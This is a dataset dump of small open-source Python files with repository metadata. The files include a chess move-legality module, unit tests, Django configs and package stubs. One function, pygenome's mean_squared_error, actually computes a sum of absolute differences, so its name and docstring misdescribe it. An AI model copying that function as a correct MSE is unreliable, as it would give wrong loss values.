0e4e919fd2e1ded6711354a0330135283e87f8c7

[ "Apache-2.0" ]

1

2021-09-22T13:17:30.000Z

from django.utils.translation import ugettext_lazy as _ from mayan.apps.task_manager.classes import CeleryQueue from mayan.apps.task_manager.workers import worker_d queue_tools = CeleryQueue(label=_('Tools'), name='tools', worker=worker_d)

35.428571

75

0.802419

35

248

5.457143

0.6

0.094241

0.136126

0.17801

0.251309

0

0.108871

248

6

76

41.333333

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null

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1

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null

0

1

0

1

0

4

872367b5cbd2d3299fb7dfee49bcb4c4d4ded3f6

272

py

Python

pygenome/fitness/loss.py

jorgetavares/pygenome

2b529ea55feff8c4a0214b37354d4d7c273202a3

[ "MIT" ]

1

2019-11-18T14:41:20.000Z

pygenome/fitness/loss.py

jorgetavares/pygenome

2b529ea55feff8c4a0214b37354d4d7c273202a3

[ "MIT" ]

null

pygenome/fitness/loss.py

jorgetavares/pygenome

2b529ea55feff8c4a0214b37354d4d7c273202a3

[ "MIT" ]

null

import numpy as np def mean_squared_error(x, y): ''' Mean Squared Error (MSR) Args: x (array): array of predictions y (array): array of labels Returns: the mean squared error ''' return np.sum(np.sqrt(np.square(x - y)))

17

44

0.577206

39

272

3.974359

0.564103

0.212903

0.309677

0

0.3125

272

15

45

18.133333

0.828877

0.496324

0

1

0.333333

false

0

0.333333

0

1

0

null

1

0

null

0

1

0

1

0

4

872a9237e21431df5d69feeb3e57d440932d922e

1,564

py

Python

tests/test_jdla_basic.py

JosueDLA/BasicModule

1781ffb17c4be8455d6b6d660c4f83897a04e432

[ "MIT" ]

null

tests/test_jdla_basic.py

JosueDLA/BasicModule

1781ffb17c4be8455d6b6d660c4f83897a04e432

[ "MIT" ]

null

tests/test_jdla_basic.py

JosueDLA/BasicModule

1781ffb17c4be8455d6b6d660c4f83897a04e432

[ "MIT" ]

null

import unittest from jdla_basic import basic_operations class Test_basic_opea(unittest.TestCase): def test_add(self): self.assertEqual(basic_operations.addition(10, 5), 15) self.assertEqual(basic_operations.addition(-1, 1), 0) self.assertEqual(basic_operations.addition(1, -1), 0) self.assertEqual(basic_operations.addition(-1, -1), -2) def test_sub(self): self.assertEqual(basic_operations.substraction(10, 5), 5) self.assertEqual(basic_operations.substraction(-1, 1), -2) self.assertEqual(basic_operations.substraction(1, -1), 2) self.assertEqual(basic_operations.substraction(-1, -1), -0) def test_multi(self): self.assertEqual(basic_operations.multiplication(10, 5), 50) self.assertEqual(basic_operations.multiplication(-1, 1), -1) self.assertEqual(basic_operations.multiplication(1, -1), -1) self.assertEqual(basic_operations.multiplication(-1, -1), 1) def test_divi(self): self.assertEqual(basic_operations.division(10, 5), 2) self.assertEqual(basic_operations.division(-1, 1), -1) self.assertEqual(basic_operations.division(1, -1), -1) self.assertEqual(basic_operations.division(-1, -1), 1) # self.assertRaises Value expected, method, args self.assertRaises(ValueError, basic_operations.division, 10, 0) # Test Exception using context manager with self.assertRaises(ValueError): basic_operations.division(10, 0) if __name__ == '__main__': unittest.main()

38.146341

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0.689258

191

1,564

5.465969

0.219895

0.272989

0.306513

0.45977

0.772989

0.601533

0.501916

0

0.047133

0.186061

1,564

40

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39.1

0.772977

0.053069

0

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0.25

0

null

1

0

null

0

1

0

4

873d9890d0ef50606e775f7ad4eeee0c477ef79a

34

py

Python

jupiter/domain/smart_lists/service/__init__.py

horia141/jupiter

2c721d1d44e1cd2607ad9936e54a20ea254741dc

[ "MIT" ]

15

2019-05-05T14:34:58.000Z

2022-02-25T09:57:28.000Z

jupiter/domain/smart_lists/service/__init__.py

horia141/jupiter

2c721d1d44e1cd2607ad9936e54a20ea254741dc

[ "MIT" ]

3

2020-02-22T16:09:39.000Z

2021-12-18T21:33:06.000Z

jupiter/domain/smart_lists/service/__init__.py

horia141/jupiter

2c721d1d44e1cd2607ad9936e54a20ea254741dc

[ "MIT" ]

null

"""Smart list service classes."""

17

33

0.676471

4

34

5.75

1

0

0.117647

34

1

34

0.766667

0.794118

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

null

0

1

0

4

8778de8cd4065de45c068f5e28f5187cb16355c9

193

py

Python

coding_interviews/leetcode/easy/generate_the_string/generate_the_string.py

LeandroTk/Algorithms

569ed68eba3eeff902f8078992099c28ce4d7cd6

[ "MIT" ]

205

2018-12-01T17:49:49.000Z

2021-12-22T07:02:27.000Z

coding_interviews/leetcode/easy/generate_the_string/generate_the_string.py

LeandroTk/Algorithms

569ed68eba3eeff902f8078992099c28ce4d7cd6

[ "MIT" ]

2

2020-01-01T16:34:29.000Z

2020-04-26T19:11:13.000Z

coding_interviews/leetcode/easy/generate_the_string/generate_the_string.py

LeandroTk/Algorithms

569ed68eba3eeff902f8078992099c28ce4d7cd6

[ "MIT" ]

50

2018-11-28T20:51:36.000Z

2021-11-29T04:08:25.000Z

# https://leetcode.com/problems/generate-a-string-with-characters-that-have-odd-counts def generate_the_string(n): if n % 2 == 0: return 'a' * (n - 1) + 'b' return 'a' * n

27.571429

86

0.601036

30

193

3.8

0.733333

0.122807

0.140351

0

0.02

0.222798

193

7

87

27.571429

0.74

0.435233

0

1

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0.027778

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1

0.25

false

0

0.75

0

null

0

1

0

1

0

null

0

1

0

1

0

4

5e44bf436c778e9277b68ef4c5a05817865a95cf

601

py

Python

neuralpp/inference/graphical_model/variable/variable.py

stefanwebb/neuralpp

598ac1ad636d11fc67a4244b52a2b08b990ffc86

[ "MIT" ]

null

neuralpp/inference/graphical_model/variable/variable.py

stefanwebb/neuralpp

598ac1ad636d11fc67a4244b52a2b08b990ffc86

[ "MIT" ]

null

neuralpp/inference/graphical_model/variable/variable.py

stefanwebb/neuralpp

598ac1ad636d11fc67a4244b52a2b08b990ffc86

[ "MIT" ]

null

from typing import Any import torch class Variable: def __eq__(self, other) -> bool: self._not_implemented("__eq__") def __hash__(self): self._not_implemented("__hash__") def __repr__(self) -> str: self._not_implemented("__repr__") def featurize(self, value) -> torch.Tensor: self._not_implemented("featurize") def is_multivalue(self, value: Any) -> bool: self._not_implemented("is_multivalue") def _not_implemented(self, name): error = NotImplementedError(f"{name} not implemented for {type(self)}") raise error

24.04

79

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601

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0.250696

0.122563

0

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601

24

80

25.041667

0.770386

0

0.138103

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1

0.375

false

0

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0

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0

null

1

0

null

0

1

0

1

0

4

5e4759867d5518f967a7c86814eeaf2fb616ea16

548

py

Python

tests/file_handler/test_local.py

Gallaecio/spider-feeder

9372a9244b4cc582474883962b01f5e83779005e

[ "MIT" ]

null

tests/file_handler/test_local.py

Gallaecio/spider-feeder

9372a9244b4cc582474883962b01f5e83779005e

[ "MIT" ]

null

tests/file_handler/test_local.py

Gallaecio/spider-feeder

9372a9244b4cc582474883962b01f5e83779005e

[ "MIT" ]

null

from spider_feeder.file_handler import local def test_open_local_file(mocker): mock = mocker.patch('spider_feeder.file_handler.local.builtins.open') local.open('/tmp/input_urls.txt', encoding='utf-8') mock.assert_called_once_with('/tmp/input_urls.txt', encoding='utf-8') def test_open_local_file_with_scheme(mocker): mock = mocker.patch('spider_feeder.file_handler.local.builtins.open') local.open('file:///tmp/input_urls.txt', encoding='latin-1') mock.assert_called_once_with('/tmp/input_urls.txt', encoding='latin-1')

39.142857

75

0.759124

84

548

4.666667

0.333333

0.091837

0.122449

0.153061

0.867347

0.765306

0.596939

0

0.008032

0.091241

548

13

76

42.153846

0.779116

0

0.222222

0

0.363139

0.215328

0

0.222222

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0.222222

false

0

0.111111

0

0.333333

0

null

0

1

0

null

0

1

0

4

5e5a36ef2a03693ce4c2de8a9efa2fe8841eda2f

66

py

Python

test.py

Joshuawadd/rlcard

de2da05a9b32a39e0d8bbfc1cd589d88a6580c56

[ "MIT" ]

null

test.py

Joshuawadd/rlcard

de2da05a9b32a39e0d8bbfc1cd589d88a6580c56

[ "MIT" ]

null

test.py

Joshuawadd/rlcard

de2da05a9b32a39e0d8bbfc1cd589d88a6580c56

[ "MIT" ]

null

import rlcard rlcard.make('whist', config={'record_action': True})

33

52

0.757576

9

66

5.444444

0.888889

0

0.060606

66

2

52

33

0.790323

0

0.268657

0

1

0

true

0

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

4

5e648c46deae58045c77e15aabfe8455c3ca7fc3

403

py

Python

generator_counter.py

volhadounar/Python_tricks

8307e1695c4a4a94ab4bd6770d932650406c4ddf

[ "BSD-3-Clause" ]

null

generator_counter.py

volhadounar/Python_tricks

8307e1695c4a4a94ab4bd6770d932650406c4ddf

[ "BSD-3-Clause" ]

null

generator_counter.py

volhadounar/Python_tricks

8307e1695c4a4a94ab4bd6770d932650406c4ddf

[ "BSD-3-Clause" ]

null

def gen_counter(cnt=None): res = 0 while True: yield res res += 1 if cnt is None else cnt if __name__=='__main__': cnt = gen_counter() print(next(cnt)) print(next(cnt)) print(next(cnt)) print(next(cnt)) print(next(cnt)) cnt = gen_counter(5) print(next(cnt)) print(next(cnt)) print(next(cnt)) print(next(cnt)) print(next(cnt))

17.521739

40

0.573201

59

403

3.728814

0.322034

0.409091

0.545455

0.618182

0.545455

0

0.010345

0.280397

403

22

41

18.318182

0.748276

0

0.555556

0

0.019851

0

1

0.055556

false

0

0.055556

0.555556

0

null

1

0

null

0

1

0

4

5e74c204557e66db10e4f9aacbe286c96a16b169

89

py

Python

src/ebonite/ext/sqlalchemy/__init__.py

koskotG/ebonite

9f9ae016b70fb24865d5edc99142afb8ab4ddc59

[ "Apache-2.0" ]

270

2019-11-14T15:46:08.000Z

2021-09-17T16:43:03.000Z

src/ebonite/ext/sqlalchemy/__init__.py

geffy/ebonite

2d85eeca44ac1799e743bafe333887712e325060

[ "Apache-2.0" ]

14

2019-11-29T11:49:39.000Z

2022-02-10T00:23:59.000Z

src/ebonite/ext/sqlalchemy/__init__.py

geffy/ebonite

2d85eeca44ac1799e743bafe333887712e325060

[ "Apache-2.0" ]

18

2019-11-22T13:15:14.000Z

2021-09-01T13:36:12.000Z

from .repository import SQLAlchemyMetaRepository __all__ = ['SQLAlchemyMetaRepository']

22.25

48

0.842697

6

89

11.833333

0.833333

0

0.089888

89

3

49

29.666667

0.876543

0

0.269663

0

1

0

false

0

0.5

0

0.5

0

1

0

1

null

0

1

0

null

0

1

0

4

5e9a0f4abc17fb2629811760023c0c3b6f89d0f3

138

py

Python

pypd/tests/testutils.py

andyr0id/PyPD

fdc743cb5babb418b7769d7299a21d1db7e1a99d

[ "BSD-3-Clause" ]

null

pypd/tests/testutils.py

andyr0id/PyPD

fdc743cb5babb418b7769d7299a21d1db7e1a99d

[ "BSD-3-Clause" ]

null

pypd/tests/testutils.py

andyr0id/PyPD

fdc743cb5babb418b7769d7299a21d1db7e1a99d

[ "BSD-3-Clause" ]

null

import os def getPatchesDir(): d = os.path.dirname(os.path.realpath(__file__)) return d[:d.index('pypd/pypd/')] + 'pypd/patches/'

27.6

54

0.666667

20

138

4.4

0.65

0.136364

0

0.137681

138

5

54

27.6

0.739496

0

0.165468

0

1

0.25

false

0

0.25

0

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

4

5eba56c94b797340db1c37605131f5ed69f50d84

49

py

Python

src/pushbroom/__init__.py

gpanders/Janitor

1931f8d8856116a0bf5c951a2c3a51250b293cd4

[ "MIT" ]

4

2019-11-17T03:29:31.000Z

2021-11-01T20:27:07.000Z

src/pushbroom/__init__.py

gpanders/Janitor

1931f8d8856116a0bf5c951a2c3a51250b293cd4

[ "MIT" ]

null

src/pushbroom/__init__.py

gpanders/Janitor

1931f8d8856116a0bf5c951a2c3a51250b293cd4

[ "MIT" ]

null

__version__ = "v1.0.0" from .sweep import sweep

12.25

24

0.714286

8

49

3.875

0.75

0

0.073171

0.163265

49

3

25

16.333333

0.682927

0

0.122449

0

1

0

false

0

0.5

0

0.5

0

1

0

null

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py

Python

logic.py

qwlea/chess

06213ebbcd379e1968ebcfed41d38b9a00f9f3c8

[ "Apache-2.0" ]

null

logic.py

qwlea/chess

06213ebbcd379e1968ebcfed41d38b9a00f9f3c8

[ "Apache-2.0" ]

null

logic.py

qwlea/chess

06213ebbcd379e1968ebcfed41d38b9a00f9f3c8

[ "Apache-2.0" ]

null

import pygame # This class internally handles all of the board logic that's necessary to ensure legal moves are played class Logic: def __init__(self, bd): self._board = bd # This is a utility function that is used by the other functions of this class def verify_legal(self, col, row, legal_moves): if 7 >= col >= 0 and 7 >= row >= 0: legal_moves.add((col, row)) # Returns the set of all board spaces a given piece can move to, disregarding potential discovered checks/pins and # piece color. def get_legal_piece(self, piece, opponent, depth): legal_mvs = set() tiles = self._board.get_tiles() coords = piece.get_coords() col = coords[0] row = coords[1] if piece.get_type() // 2 == 0: # Piece is a king self.verify_legal(col + 1, row, legal_mvs) self.verify_legal(col, row + 1, legal_mvs) self.verify_legal(col + 1, row + 1, legal_mvs) self.verify_legal(col + 1, row - 1, legal_mvs) self.verify_legal(col - 1, row + 1, legal_mvs) self.verify_legal(col - 1, row - 1, legal_mvs) self.verify_legal(col - 1, row, legal_mvs) self.verify_legal(col, row - 1, legal_mvs) # This section is for castling purposes. Castling can only be performed when all of the spaces in between a # king and a rook are not under attack by the opposing player and neither the king or rook has moved. if depth == 0: opp_mvs = self.get_legal_player(opponent) if piece.get_n_move() and tiles[col + 3][row].get_piece() is not None and \ tiles[col + 3][row].get_piece().get_n_move(): can_castle = True for i in range(col, col + 3): if (i, row) in opp_mvs: can_castle = False for i in range(col + 1, col + 3): if tiles[i][row].get_piece() is not None: can_castle = False if can_castle: legal_mvs.add((col + 2, row)) if piece.get_n_move() and tiles[col - 4][row].get_piece() is not None and \ tiles[col - 4][row].get_piece().get_n_move(): can_castle = True for i in range(col - 3, col + 1): if (i, row) in opp_mvs: can_castle = False for i in range(col - 3, col): if tiles[i][row].get_piece() is not None: can_castle = False if can_castle: legal_mvs.add((col - 2, row)) elif piece.get_type() // 2 == 1: # Piece is a queen tmp_col = col + 1 tmp_row = row + 1 while tmp_col <= 7 and tmp_row <= 7: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col += 1 tmp_row += 1 tmp_col = col - 1 tmp_row = row + 1 while tmp_col >= 0 and tmp_row <= 7: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col -= 1 tmp_row += 1 tmp_col = col + 1 tmp_row = row - 1 while tmp_col <= 7 and tmp_row >= 0: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col += 1 tmp_row -= 1 tmp_col = col - 1 tmp_row = row - 1 while tmp_col >= 0 and tmp_row >= 0: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col -= 1 tmp_row -= 1 tmp_col = col + 1 while tmp_col <= 7: self.verify_legal(tmp_col, row, legal_mvs) if tiles[tmp_col][row].get_piece() is not None: break tmp_col += 1 tmp_col = col - 1 while tmp_col >= 0: self.verify_legal(tmp_col, row, legal_mvs) if tiles[tmp_col][row].get_piece() is not None: break tmp_col -= 1 tmp_row = row + 1 while tmp_row <= 7: self.verify_legal(col, tmp_row, legal_mvs) if tiles[col][tmp_row].get_piece() is not None: break tmp_row += 1 tmp_row = row - 1 while tmp_row >= 0: self.verify_legal(col, tmp_row, legal_mvs) if tiles[col][tmp_row].get_piece() is not None: break tmp_row -= 1 elif piece.get_type() // 2 == 2: # Piece is a rook tmp_col = col + 1 while tmp_col <= 7: self.verify_legal(tmp_col, row, legal_mvs) if tiles[tmp_col][row].get_piece() is not None: break tmp_col += 1 tmp_col = col - 1 while tmp_col >= 0: self.verify_legal(tmp_col, row, legal_mvs) if tiles[tmp_col][row].get_piece() is not None: break tmp_col -= 1 tmp_row = row + 1 while tmp_row <= 7: self.verify_legal(col, tmp_row, legal_mvs) if tiles[col][tmp_row].get_piece() is not None: break tmp_row += 1 tmp_row = row - 1 while tmp_row >= 0: self.verify_legal(col, tmp_row, legal_mvs) if tiles[col][tmp_row].get_piece() is not None: break tmp_row -= 1 elif piece.get_type() // 2 == 3: # Piece is a knight self.verify_legal(col + 1, row + 2, legal_mvs) self.verify_legal(col + 2, row + 1, legal_mvs) self.verify_legal(col - 1, row + 2, legal_mvs) self.verify_legal(col + 2, row - 1, legal_mvs) self.verify_legal(col - 2, row + 1, legal_mvs) self.verify_legal(col + 1, row - 2, legal_mvs) self.verify_legal(col - 1, row - 2, legal_mvs) self.verify_legal(col - 2, row - 1, legal_mvs) elif piece.get_type() // 2 == 4: # Piece is a bishop tmp_col = col + 1 tmp_row = row + 1 while tmp_col <= 7 and tmp_row <= 7: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col += 1 tmp_row += 1 tmp_col = col - 1 tmp_row = row + 1 while tmp_col >= 0 and tmp_row <= 7: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col -= 1 tmp_row += 1 tmp_col = col + 1 tmp_row = row - 1 while tmp_col <= 7 and tmp_row >= 0: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col += 1 tmp_row -= 1 tmp_col = col - 1 tmp_row = row - 1 while tmp_col >= 0 and tmp_row >= 0: self.verify_legal(tmp_col, tmp_row, legal_mvs) if tiles[tmp_col][tmp_row].get_piece() is not None: break tmp_col -= 1 tmp_row -= 1 elif piece.get_type() // 2 == 5: # Piece is a pawn if piece.get_type() % 2 == 0: # Piece is white if piece.get_coords()[1] == 1 and tiles[col][row + 1].get_piece() is None and tiles[col][row + 2].get_piece() is None: legal_mvs.add((col, row + 2)) if tiles[col][row + 1].get_piece() is None: legal_mvs.add((col, row + 1)) if col + 1 <= 7 and row + 1 <= 7 and tiles[col + 1][row + 1].get_piece() is not None: legal_mvs.add((col + 1, row + 1)) if col - 1 >= 0 and row + 1 <= 7 and tiles[col - 1][row + 1].get_piece() is not None: legal_mvs.add((col - 1, row + 1)) # En passant if col + 1 <= 7 and row + 1 <= 7 and tiles[col + 1][row].get_piece() is not None and\ tiles[col + 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\ tiles[col + 1][row].get_piece().get_d_move(): legal_mvs.add((col + 1, row + 1)) if col - 1 >= 0 and row + 1 <= 7 and tiles[col - 1][row].get_piece() is not None and\ tiles[col - 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\ tiles[col - 1][row].get_piece().get_d_move(): legal_mvs.add((col - 1, row + 1)) else: # Piece is black if piece.get_coords()[1] == 6 and tiles[col][row - 1].get_piece() is None and tiles[col][row - 2].get_piece() is None: legal_mvs.add((col, row - 2)) if tiles[col][row - 1].get_piece() is None: legal_mvs.add((col, row - 1)) if col + 1 <= 7 and row - 1 >= 0 and tiles[col + 1][row - 1].get_piece() is not None: legal_mvs.add((col + 1, row - 1)) if col - 1 >= 0 and row - 1 >= 0 and tiles[col - 1][row - 1].get_piece() is not None: legal_mvs.add((col - 1, row - 1)) # En passant if col + 1 <= 7 and row - 1 >= 0 and tiles[col + 1][row].get_piece() is not None and\ tiles[col + 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\ tiles[col + 1][row].get_piece().get_d_move(): legal_mvs.add((col + 1, row - 1)) if col - 1 >= 0 and row - 1 >= 0 and tiles[col - 1][row].get_piece() is not None and\ tiles[col - 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\ tiles[col - 1][row].get_piece().get_d_move(): legal_mvs.add((col - 1, row - 1)) return legal_mvs # returns the set of all legal moves a player can make, still disregarding discovered checks/pins and piece color def get_legal_player(self, player): legal_mvs = set() for piece in player.get_owned(): for coords in self.get_legal_piece(piece, None, 1): legal_mvs.add(coords) return legal_mvs # Safely checks if a given move is legal by simulating the play on the board and then reverting all changes def safe_check_legal(self, selected_piece, target_tile, player, opponent): if target_tile.get_coords() not in self.get_legal_piece(selected_piece, opponent, 0): return False if target_tile.get_piece() is not None and\ target_tile.get_piece().get_type() % 2 == selected_piece.get_type() % 2: return False tmp_piece = target_tile.get_piece() # This simulates a capture so that capturing a piece that has put the turn player's king in check is legal if tmp_piece is not None: opponent.get_owned().remove(tmp_piece) tmp_tile = selected_piece.get_tile() selected_piece.change_tiles(target_tile) king_coords = player.get_king().get_coords() if king_coords in self.get_legal_player(opponent): selected_piece.change_tiles(tmp_tile) target_tile.set_piece(tmp_piece) if tmp_piece is not None: opponent.get_owned().add(tmp_piece) return False selected_piece.change_tiles(tmp_tile) target_tile.set_piece(tmp_piece) if tmp_piece is not None: opponent.get_owned().add(tmp_piece) return True # Gets the "true" legal spaces a piece can move to, the spaces that won't leave the player's king in check def get_true_legal_piece(self, piece, player, opponent): true_legal = set() for coords in self.get_legal_piece(piece, opponent, 0): if self.safe_check_legal(piece, self._board.get_tile(coords), player, opponent): true_legal.add(coords) return true_legal # Gets the "true" legal spaces all of a player's pieces can move to that won't leave that player's king in check def get_true_legal_player(self, player, opponent): true_legal = set() for piece in player.get_owned(): for coords in self.get_true_legal_piece(piece, player, opponent): true_legal.add(coords) return true_legal # Checks all possible legal moves a player can make to verify whether the game is in stale/checkmate # "NM" == No Mate, "SM" == Stalemate, "CM" == Checkmate def safe_check_mate(self, player, opponent): for piece in player.get_owned(): for tile_coords in self.get_legal_piece(piece, opponent, 0): if self.safe_check_legal(piece, self._board.get_tile(tile_coords), player, opponent): return "NM" king_coords = player.get_king().get_coords() if king_coords not in self.get_legal_player(opponent): return "SM" return "CM"

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py

Python

test_apps/python_app/targets/dut/o1_dut0.py

Origen-SDK/o2

5b0f9a6d113ddebc73c7ee224931e8b2d0301794

[ "MIT" ]

null

test_apps/python_app/targets/dut/o1_dut0.py

Origen-SDK/o2

5b0f9a6d113ddebc73c7ee224931e8b2d0301794

[ "MIT" ]

127

2019-11-23T17:09:35.000Z

2021-09-02T11:06:20.000Z

test_apps/python_app/targets/dut/o1_dut0.py

Origen-SDK/o2

5b0f9a6d113ddebc73c7ee224931e8b2d0301794

[ "MIT" ]

null

origen.app.instantiate_dut("dut.o1_dut0")

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null

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py

Python

src/vendor/configrpc/plugin.py

radomirklacza/C-BAS

5005cf43f57302dc0f58b9d1b9cf7e4e3ab70e32

[ "BSD-3-Clause" ]

null

src/vendor/configrpc/plugin.py

radomirklacza/C-BAS

5005cf43f57302dc0f58b9d1b9cf7e4e3ab70e32

[ "BSD-3-Clause" ]

null

src/vendor/configrpc/plugin.py

radomirklacza/C-BAS

5005cf43f57302dc0f58b9d1b9cf7e4e3ab70e32

[ "BSD-3-Clause" ]

2

2017-08-07T15:24:05.000Z

2018-10-11T10:53:23.000Z

import eisoil.core.pluginmanager as pm from crpc.configrpc import ConfigRPC def setup(): # setup config keys xmlrpc = pm.getService('xmlrpc') xmlrpc.registerXMLRPC('configrpc', ConfigRPC(), '/amconfig') # handlerObj, endpoint

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216d0a489cd9d3cd4e55e013d2c676784c470662

102

py

Python

chho2/ignore/1.py

srishtikohli99/CHHO2

179d6987b02e20cebf241258fd32a557cc8d4f6e

[ "Apache-2.0" ]

null

chho2/ignore/1.py

srishtikohli99/CHHO2

179d6987b02e20cebf241258fd32a557cc8d4f6e

[ "Apache-2.0" ]

null

chho2/ignore/1.py

srishtikohli99/CHHO2

179d6987b02e20cebf241258fd32a557cc8d4f6e

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """ Created on Fri Jul 5 03:41:18 2019 @author: srishti """ print("Hello")

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4

216e704aed5840412ef0e392bf76c8a25c1a2f07

96

py

Python

covid_stats/apps.py

cploutarchou/covid-19-tracker

896114097be79939073ac82734b146d7a50df586

[ "MIT" ]

null

covid_stats/apps.py

cploutarchou/covid-19-tracker

896114097be79939073ac82734b146d7a50df586

[ "MIT" ]

15

2020-09-09T17:57:15.000Z

2020-12-15T19:35:01.000Z

covid_stats/apps.py

cploutarchou/covid-19-tracker

896114097be79939073ac82734b146d7a50df586

[ "MIT" ]

null

from django.apps import AppConfig class CovidStatsConfig(AppConfig): name = 'covid_stats'

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4

219551bbea42d4634a08e149f5f7635c2b411a23

259

py

Python

tests/unit-tests/test_settings.py

Ycallaer/schema_registry_viz

dfd474445ff7f5188d92fca2091d3dcedf48106f

[ "MIT" ]

1

2021-07-07T08:04:57.000Z

tests/unit-tests/test_settings.py

Ycallaer/schema_registry_viz

dfd474445ff7f5188d92fca2091d3dcedf48106f

[ "MIT" ]

null

tests/unit-tests/test_settings.py

Ycallaer/schema_registry_viz

dfd474445ff7f5188d92fca2091d3dcedf48106f

[ "MIT" ]

null

from schema_reg_viz.config.settings import get_settings def test_health(): result = get_settings() assert result.schema_registry.port == 8081 assert result.schema_registry.protocol == 'http' assert result.schema_registry.url == 'localhost'

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null

0

1

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4

219de8b1f6e08aa97a613a0524aea586f32a0e32

104

py

Python

slide/snippet/list_str.py

TomohikoK/PyCat

d36632a6a348c1cdad8ba0594a7600e350c72f7c

[ "Apache-2.0" ]

null

slide/snippet/list_str.py

TomohikoK/PyCat

d36632a6a348c1cdad8ba0594a7600e350c72f7c

[ "Apache-2.0" ]

6

2018-04-13T11:27:00.000Z

2018-05-11T11:57:57.000Z

slide/snippet/list_str.py

TomohikoK/PyCat

d36632a6a348c1cdad8ba0594a7600e350c72f7c

[ "Apache-2.0" ]

null

from typing import List list_of_string: List[str] = ['a', 'b', 'c'] list_of_int: List[int] = [1, 2, 3]

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21d1b7a99a4a4f2fed40cc3a522775a64b047e5d

289

py

Python

server/data.py

ParkingPrediXion/ParkingPrediXion

c7677c4e3f6961412e2e15fae987254f76f10eba

[ "MIT" ]

2

2017-10-24T23:10:45.000Z

2017-10-25T00:29:26.000Z

server/data.py

ParkingPrediXion/ParkingPrediXion

c7677c4e3f6961412e2e15fae987254f76f10eba

[ "MIT" ]

9

2020-09-05T05:40:43.000Z

2022-03-08T22:49:44.000Z

server/data.py

kevincai79/SmartParking

596c17585eef8559f2972c86822a209289ac0788

[ "MIT" ]

2

2017-11-02T21:37:10.000Z

2017-11-15T06:53:14.000Z

import json import numpy as np def get_timestamps(evts): return [c['timestamp'] for c in evts['content']] def get_bucket(dt): return dt.weekday() * 24 + dt.hour from collections import namedtuple AllData = namedtuple('AllData', ['spots', 'trends', 'total']) def load_data(): pass

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1

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21d2f21cea92db12ee599f05b8864f30beeca361

165

py

Python

gallery/urls.py

D-GopalKrishna/RobotixWeb2021

3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2

[ "Apache-2.0" ]

null

gallery/urls.py

D-GopalKrishna/RobotixWeb2021

3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2

[ "Apache-2.0" ]

7

2020-02-12T02:54:35.000Z

2022-03-12T00:06:26.000Z

gallery/urls.py

D-GopalKrishna/RobotixWeb2021

3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2

[ "Apache-2.0" ]

6

2020-02-10T16:37:38.000Z

2021-01-28T13:39:46.000Z

from django.urls import path from . import views urlpatterns = [ path('',views.gallery,name='gallery'), path('api/',views.gallery_api,name='gallery_api') ]

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21e54bcf8058300c62c0f523bd119043add0d44d

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py

Python

tests/datastructures/test_queue.py

TristenSeth/campy

9e726c342d682239e1c19e6f5645c0b2167d7fab

[ "MIT" ]

5

2018-12-03T19:18:50.000Z

2021-05-31T07:17:06.000Z

tests/datastructures/test_queue.py

TristenSeth/campy

9e726c342d682239e1c19e6f5645c0b2167d7fab

[ "MIT" ]

1

2020-02-13T20:56:05.000Z

2020-02-19T18:32:56.000Z

tests/datastructures/test_queue.py

TristenSeth/campy

9e726c342d682239e1c19e6f5645c0b2167d7fab

[ "MIT" ]

1

2017-06-06T07:29:07.000Z

"""Tests for the :mod:`campy.datastructures.queue` module."""

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1d0efb5b6619dd435a246a3aa0f6270dc997abe4

488

py

Python

stevesie/resources/task_dependency.py

Stevesie/stevesie-py

fd1bcf9271912dd2925d1279b7b9e3796d2c2e70

[ "MIT" ]

1

2018-12-25T11:11:46.000Z

stevesie/resources/task_dependency.py

Stevesie/stevesie-py

fd1bcf9271912dd2925d1279b7b9e3796d2c2e70

[ "MIT" ]

null

stevesie/resources/task_dependency.py

Stevesie/stevesie-py

fd1bcf9271912dd2925d1279b7b9e3796d2c2e70

[ "MIT" ]

1

2021-07-26T21:58:41.000Z

from typing import NamedTuple, Sequence from datetime import datetime from stevesie.remote_resource import RemoteResource from stevesie.resources.task_collection_field import TaskCollectionField class TaskDependencyTuple(NamedTuple): id: str variable_name: str name: str sample_value: str created_at: datetime TaskDependencyTuple.__new__.__defaults__ = (None,) * len(TaskDependencyTuple._fields) class TaskDependency(TaskDependencyTuple, RemoteResource): pass

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df1c0a5f087c452fa58e3ff9d7e772f2d4cfd30d

226

py

Python

objetto/observers.py

brunonicko/objetto

50540bc14c5767e3f8fa09bf59ba322cb043a353

[ "MIT" ]

8

2020-12-10T21:04:06.000Z

2022-01-22T07:43:07.000Z

objetto/observers.py

brunonicko/objetto

50540bc14c5767e3f8fa09bf59ba322cb043a353

[ "MIT" ]

null

objetto/observers.py

brunonicko/objetto

50540bc14c5767e3f8fa09bf59ba322cb043a353

[ "MIT" ]

1

2022-01-20T21:39:48.000Z

# -*- coding: utf-8 -*- """Observer mixin class.""" from ._observers import ActionObserver, ActionObserverExceptionData, ActionObserverToken __all__ = ["ActionObserver", "ActionObserverToken", "ActionObserverExceptionData"]

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df2bb3f06b0fd3d58ebaf78583368995ea6f807f

1,600

py

Python

manga_py/providers/translate_webtoons_com.py

sonvt1710/manga-py

848a78e93b890af0c92056a1a9fc7f6ce5707cf6

[ "MIT" ]

7

2019-07-31T13:50:59.000Z

2019-08-24T03:04:13.000Z

manga_py/providers/translate_webtoons_com.py

sonvt1710/manga-py

